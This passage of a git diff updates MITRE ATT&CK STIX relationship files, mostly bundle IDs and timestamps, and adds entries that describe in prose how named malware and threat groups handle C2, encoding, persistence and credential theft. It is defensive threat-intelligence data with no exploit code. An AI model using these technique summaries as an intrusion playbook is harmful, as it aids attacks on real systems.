@@ -8,7 +8,7 @@
             "id": "relationship--7fd6c479-00ae-478d-a29b-fc40619eea97",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--7fe49f05-8f96-4fc2-bc5b-b2eea59efca3.json b/enterprise-attack/relationship/relationship--7fe49f05-8f96-4fc2-bc5b-b2eea59efca3.json
index cf5003433c..ee3c9efe58 100644
--- a/enterprise-attack/relationship/relationship--7fe49f05-8f96-4fc2-bc5b-b2eea59efca3.json
+++ b/enterprise-attack/relationship/relationship--7fe49f05-8f96-4fc2-bc5b-b2eea59efca3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e31940ca-97aa-43d6-b750-5a9aa0c59570",
+    "id": "bundle--33589251-31b9-47c1-af66-3f12d030b9e1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7fe49f05-8f96-4fc2-bc5b-b2eea59efca3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot may use <code>net view /domain</code> to display hostnames of available systems on a network.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
diff --git a/enterprise-attack/relationship/relationship--800825f5-6e74-43ad-a732-476fdf471225.json b/enterprise-attack/relationship/relationship--800825f5-6e74-43ad-a732-476fdf471225.json
index 858e560dc8..83f048fdc9 100644
--- a/enterprise-attack/relationship/relationship--800825f5-6e74-43ad-a732-476fdf471225.json
+++ b/enterprise-attack/relationship/relationship--800825f5-6e74-43ad-a732-476fdf471225.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--107a6da0-3a79-48cf-958a-0c5420319d09",
+    "id": "bundle--1939bc16-f0ee-47b5-95ea-c5732cdd89b9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--800825f5-6e74-43ad-a732-476fdf471225",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CloudDuke downloads and executes additional malware from either a Web address or a Microsoft OneDrive account.",
             "source_ref": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
diff --git a/enterprise-attack/relationship/relationship--801f139f-1361-4d79-965e-078787f8ec36.json b/enterprise-attack/relationship/relationship--801f139f-1361-4d79-965e-078787f8ec36.json
index 4386a800ce..f1b11aeb42 100644
--- a/enterprise-attack/relationship/relationship--801f139f-1361-4d79-965e-078787f8ec36.json
+++ b/enterprise-attack/relationship/relationship--801f139f-1361-4d79-965e-078787f8ec36.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d7c7809e-899a-4e45-bddd-a9a99055afab",
+    "id": "bundle--a79feaea-f80b-4a03-8e3e-897517d8bcdd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--801f139f-1361-4d79-965e-078787f8ec36",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "AutoIt has sent a C2 response that was base64-encoded.",
+            "description": "AutoIt backdoor has sent a C2 response that was base64-encoded.",
             "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
             "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--805f7ba3-a904-410c-b9fd-20356c595b19.json b/enterprise-attack/relationship/relationship--805f7ba3-a904-410c-b9fd-20356c595b19.json
index 0d64a6d120..dc880365d1 100644
--- a/enterprise-attack/relationship/relationship--805f7ba3-a904-410c-b9fd-20356c595b19.json
+++ b/enterprise-attack/relationship/relationship--805f7ba3-a904-410c-b9fd-20356c595b19.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b08e0452-8558-4bee-b354-65ed9a101beb",
+    "id": "bundle--b92e92b1-7da0-49f6-a763-b48fd6584b60",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--805f7ba3-a904-410c-b9fd-20356c595b19",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BBSRAT uses a custom encryption algorithm on data sent back to the C2 server over HTTP.",
             "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
diff --git a/enterprise-attack/relationship/relationship--8087d99b-cc05-4e2a-abce-687eb726a9e7.json b/enterprise-attack/relationship/relationship--8087d99b-cc05-4e2a-abce-687eb726a9e7.json
new file mode 100644
index 0000000000..b0b78983a5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--8087d99b-cc05-4e2a-abce-687eb726a9e7.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--4b855dd9-23ee-4180-8183-7aecd3c4393a",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--8087d99b-cc05-4e2a-abce-687eb726a9e7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Magic Hound malware has used base64-encoded commands and files, and has also encrypted embedded strings with AES.",
+            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--80aab758-d3fc-4380-b114-e552bdace832.json b/enterprise-attack/relationship/relationship--80aab758-d3fc-4380-b114-e552bdace832.json
index 4d44a8dc76..7c64103cac 100644
--- a/enterprise-attack/relationship/relationship--80aab758-d3fc-4380-b114-e552bdace832.json
+++ b/enterprise-attack/relationship/relationship--80aab758-d3fc-4380-b114-e552bdace832.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d011e5ca-2e0f-4d3d-9e05-d71081b9d8d1",
+    "id": "bundle--b50a06d5-1a5d-4022-a47c-ca9a86ba4cd8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--80aab758-d3fc-4380-b114-e552bdace832",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--80c071f7-123e-468f-800d-726a1d3e4144.json b/enterprise-attack/relationship/relationship--80c071f7-123e-468f-800d-726a1d3e4144.json
index 3bdba027b6..676e3f7a05 100644
--- a/enterprise-attack/relationship/relationship--80c071f7-123e-468f-800d-726a1d3e4144.json
+++ b/enterprise-attack/relationship/relationship--80c071f7-123e-468f-800d-726a1d3e4144.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--84e6b676-77fa-4563-98b0-7fe4bfbc8f0a",
+    "id": "bundle--82de62e2-0312-47c1-a591-8b9129aa903e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--80c071f7-123e-468f-800d-726a1d3e4144",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
             "target_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
diff --git a/enterprise-attack/relationship/relationship--80ca0faf-6958-4158-a36d-b3e7936c5f5a.json b/enterprise-attack/relationship/relationship--80ca0faf-6958-4158-a36d-b3e7936c5f5a.json
index 12d428261f..551c38127a 100644
--- a/enterprise-attack/relationship/relationship--80ca0faf-6958-4158-a36d-b3e7936c5f5a.json
+++ b/enterprise-attack/relationship/relationship--80ca0faf-6958-4158-a36d-b3e7936c5f5a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d3be6b0c-73ce-4b93-9136-d4af7c0b4d89",
+    "id": "bundle--2361c3d8-cea1-4620-8bcd-4ac15c807c97",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--80ca0faf-6958-4158-a36d-b3e7936c5f5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Tasklist can be used to enumerate security software currently running on a system by process name of known products.",
             "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
diff --git a/enterprise-attack/relationship/relationship--80dcd852-39c2-4ef9-a401-e54982010a65.json b/enterprise-attack/relationship/relationship--80dcd852-39c2-4ef9-a401-e54982010a65.json
new file mode 100644
index 0000000000..63240f6300
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--80dcd852-39c2-4ef9-a401-e54982010a65.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--7a7bf60e-14c7-4eac-b8e6-73f36be3a211",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--80dcd852-39c2-4ef9-a401-e54982010a65",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can locate credentials in files on the file system such as those from Firefox or Chrome. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--80fc5f0c-3dcb-45ab-807a-bfa3d64334c6.json b/enterprise-attack/relationship/relationship--80fc5f0c-3dcb-45ab-807a-bfa3d64334c6.json
new file mode 100644
index 0000000000..14281ece53
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--80fc5f0c-3dcb-45ab-807a-bfa3d64334c6.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--68339302-5c82-4b1d-beab-7b1a4d96d6fb",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--80fc5f0c-3dcb-45ab-807a-bfa3d64334c6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--8104dfee-8883-4f7c-8f7d-84c9b409efc3.json b/enterprise-attack/relationship/relationship--8104dfee-8883-4f7c-8f7d-84c9b409efc3.json
index fcc37dbf21..d9701dbed8 100644
--- a/enterprise-attack/relationship/relationship--8104dfee-8883-4f7c-8f7d-84c9b409efc3.json
+++ b/enterprise-attack/relationship/relationship--8104dfee-8883-4f7c-8f7d-84c9b409efc3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b558343a-34cf-4f09-9bf5-a008a14b29f3",
+    "id": "bundle--b0269427-513a-4934-8095-2ae5babfe062",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8104dfee-8883-4f7c-8f7d-84c9b409efc3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d01f473f-3cdc-4867-9e55-1de9cf1986f0",
             "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
diff --git a/enterprise-attack/relationship/relationship--8119ee71-e017-4ba0-9aeb-a14c46f64f1a.json b/enterprise-attack/relationship/relationship--8119ee71-e017-4ba0-9aeb-a14c46f64f1a.json
index 9bdb0a49a4..f4f06ce8d4 100644
--- a/enterprise-attack/relationship/relationship--8119ee71-e017-4ba0-9aeb-a14c46f64f1a.json
+++ b/enterprise-attack/relationship/relationship--8119ee71-e017-4ba0-9aeb-a14c46f64f1a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--abc22942-cc53-43e2-903f-15250940d145",
+    "id": "bundle--e172a8f8-9fd8-4bfa-8425-dbea348b5f9c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8119ee71-e017-4ba0-9aeb-a14c46f64f1a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
diff --git a/enterprise-attack/relationship/relationship--812b36a3-ed93-4b45-95c3-39a9ac9c36f5.json b/enterprise-attack/relationship/relationship--812b36a3-ed93-4b45-95c3-39a9ac9c36f5.json
index cdda0962a2..a27d324446 100644
--- a/enterprise-attack/relationship/relationship--812b36a3-ed93-4b45-95c3-39a9ac9c36f5.json
+++ b/enterprise-attack/relationship/relationship--812b36a3-ed93-4b45-95c3-39a9ac9c36f5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e9820c20-9f3b-4bbc-81a2-4a64639b5a89",
+    "id": "bundle--18975927-588c-4e2d-a988-4953181a4a23",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--812b36a3-ed93-4b45-95c3-39a9ac9c36f5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf",
             "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
diff --git a/enterprise-attack/relationship/relationship--813e4416-bee6-4192-a712-6b5f80a7fff3.json b/enterprise-attack/relationship/relationship--813e4416-bee6-4192-a712-6b5f80a7fff3.json
index 00cafa2e15..65b3fbe812 100644
--- a/enterprise-attack/relationship/relationship--813e4416-bee6-4192-a712-6b5f80a7fff3.json
+++ b/enterprise-attack/relationship/relationship--813e4416-bee6-4192-a712-6b5f80a7fff3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7d8c0d08-8620-4330-a166-e65b399adfe3",
+    "id": "bundle--ed926cae-94a1-415b-8358-2742cbf8bae4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--813e4416-bee6-4192-a712-6b5f80a7fff3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type uses Base64 encoding for C2 traffic.",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
diff --git a/enterprise-attack/relationship/relationship--818a401d-dd4d-426a-b89c-d33625380b8b.json b/enterprise-attack/relationship/relationship--818a401d-dd4d-426a-b89c-d33625380b8b.json
index 05d7f59030..391db7676d 100644
--- a/enterprise-attack/relationship/relationship--818a401d-dd4d-426a-b89c-d33625380b8b.json
+++ b/enterprise-attack/relationship/relationship--818a401d-dd4d-426a-b89c-d33625380b8b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--762bf8f4-2c44-4983-a29d-bb65ae785405",
+    "id": "bundle--bcfc7d8b-69df-4ea4-ad2b-4638582c119e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--818a401d-dd4d-426a-b89c-d33625380b8b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind obtains the victim username.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--81b183bc-de6a-457c-a3f3-a1168e8456f1.json b/enterprise-attack/relationship/relationship--81b183bc-de6a-457c-a3f3-a1168e8456f1.json
index 629222aee4..f57c4cbc7c 100644
--- a/enterprise-attack/relationship/relationship--81b183bc-de6a-457c-a3f3-a1168e8456f1.json
+++ b/enterprise-attack/relationship/relationship--81b183bc-de6a-457c-a3f3-a1168e8456f1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--25982489-858a-4777-96f0-d2e54db6a3f6",
+    "id": "bundle--d7185202-3a7b-49e9-87a1-103368a89d77",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--81b183bc-de6a-457c-a3f3-a1168e8456f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Misdat network traffic communicates over common ports like 80, 443, or 1433.",
             "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
diff --git a/enterprise-attack/relationship/relationship--81cfd1fd-999b-4730-b5dc-363d367dd92e.json b/enterprise-attack/relationship/relationship--81cfd1fd-999b-4730-b5dc-363d367dd92e.json
index 727bc0255c..aecffe0017 100644
--- a/enterprise-attack/relationship/relationship--81cfd1fd-999b-4730-b5dc-363d367dd92e.json
+++ b/enterprise-attack/relationship/relationship--81cfd1fd-999b-4730-b5dc-363d367dd92e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e32ec66d-6bb2-4a30-b5f6-4f5e6c62491f",
+    "id": "bundle--60989d90-99ef-4df9-9b9b-6ba4221c2cc4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--81cfd1fd-999b-4730-b5dc-363d367dd92e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM has the ability to remove Registry entries that it created during execution.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--8200c438-ec29-4f0e-81c3-9a058c735748.json b/enterprise-attack/relationship/relationship--8200c438-ec29-4f0e-81c3-9a058c735748.json
index 09523bf6e6..307fbeacfe 100644
--- a/enterprise-attack/relationship/relationship--8200c438-ec29-4f0e-81c3-9a058c735748.json
+++ b/enterprise-attack/relationship/relationship--8200c438-ec29-4f0e-81c3-9a058c735748.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--71f29763-293f-4b31-bf12-25a6df6734e0",
+    "id": "bundle--a0d633e0-55d2-4cb9-a705-a392eaf89631",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8200c438-ec29-4f0e-81c3-9a058c735748",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The BlackEnergy 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
diff --git a/enterprise-attack/relationship/relationship--820c50f3-65e8-4a3a-a71a-e079ae8badad.json b/enterprise-attack/relationship/relationship--820c50f3-65e8-4a3a-a71a-e079ae8badad.json
index 5b949f83db..f2061ebaea 100644
--- a/enterprise-attack/relationship/relationship--820c50f3-65e8-4a3a-a71a-e079ae8badad.json
+++ b/enterprise-attack/relationship/relationship--820c50f3-65e8-4a3a-a71a-e079ae8badad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0a2b16dd-531c-49f1-829b-1da9f5fa0097",
+    "id": "bundle--384ed906-9488-4d3d-bab8-814857d97904",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--820c50f3-65e8-4a3a-a71a-e079ae8badad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec contains a network loader to receive executable modules from remote attackers and run them on the local victim. It can also upload and download files over HTTP and HTTPS.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--82268341-e0a8-4937-8618-351e147daa0c.json b/enterprise-attack/relationship/relationship--82268341-e0a8-4937-8618-351e147daa0c.json
index a712a7ce6e..521919c40a 100644
--- a/enterprise-attack/relationship/relationship--82268341-e0a8-4937-8618-351e147daa0c.json
+++ b/enterprise-attack/relationship/relationship--82268341-e0a8-4937-8618-351e147daa0c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a957bc01-2758-452f-9de8-49fe41adaaa4",
+    "id": "bundle--0f4d1f5c-2df9-4c84-9912-5136584d4208",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--82268341-e0a8-4937-8618-351e147daa0c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "It is believed that a patch management system for an anti-virus product commonly installed among targeted companies was used to distribute the Wiper malware.",
             "source_ref": "malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085",
diff --git a/enterprise-attack/relationship/relationship--82384148-90fd-4bfa-a734-e9c8b37b584f.json b/enterprise-attack/relationship/relationship--82384148-90fd-4bfa-a734-e9c8b37b584f.json
index edba7ae8ad..9e580853b7 100644
--- a/enterprise-attack/relationship/relationship--82384148-90fd-4bfa-a734-e9c8b37b584f.json
+++ b/enterprise-attack/relationship/relationship--82384148-90fd-4bfa-a734-e9c8b37b584f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f541aee0-a123-471e-8ce6-07aca2069557",
+    "id": "bundle--ef316797-f06e-44fc-8f72-1df635b9402b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--82384148-90fd-4bfa-a734-e9c8b37b584f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak contains keylogger functionality.",
             "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
diff --git a/enterprise-attack/relationship/relationship--8278fc85-24af-4f8a-9b82-3f233f18f5a6.json b/enterprise-attack/relationship/relationship--8278fc85-24af-4f8a-9b82-3f233f18f5a6.json
index 9e67b4cd14..6fdc95b736 100644
--- a/enterprise-attack/relationship/relationship--8278fc85-24af-4f8a-9b82-3f233f18f5a6.json
+++ b/enterprise-attack/relationship/relationship--8278fc85-24af-4f8a-9b82-3f233f18f5a6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1eebb4a2-ba70-4ac5-b6f9-9f64e87ee64f",
+    "id": "bundle--b75cd1c3-14e4-49aa-bb87-84e3fbf4b250",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--8278fc85-24af-4f8a-9b82-3f233f18f5a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mivast communicates over port 80 for C2.",
             "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
diff --git a/enterprise-attack/relationship/relationship--82826722-4278-438e-a8d0-5bd9fd117b2b.json b/enterprise-attack/relationship/relationship--82826722-4278-438e-a8d0-5bd9fd117b2b.json
new file mode 100644
index 0000000000..c2f10fa305
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--82826722-4278-438e-a8d0-5bd9fd117b2b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--1b3c966c-6c89-47d4-b48c-41b90b4fd1f7",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--82826722-4278-438e-a8d0-5bd9fd117b2b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses PowerShell to add a Registry Run key in order to establish persistence.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--828afc32-9874-40aa-b752-315c7623ffee.json b/enterprise-attack/relationship/relationship--828afc32-9874-40aa-b752-315c7623ffee.json
index 8b7065b34e..e2bde89f85 100644
--- a/enterprise-attack/relationship/relationship--828afc32-9874-40aa-b752-315c7623ffee.json
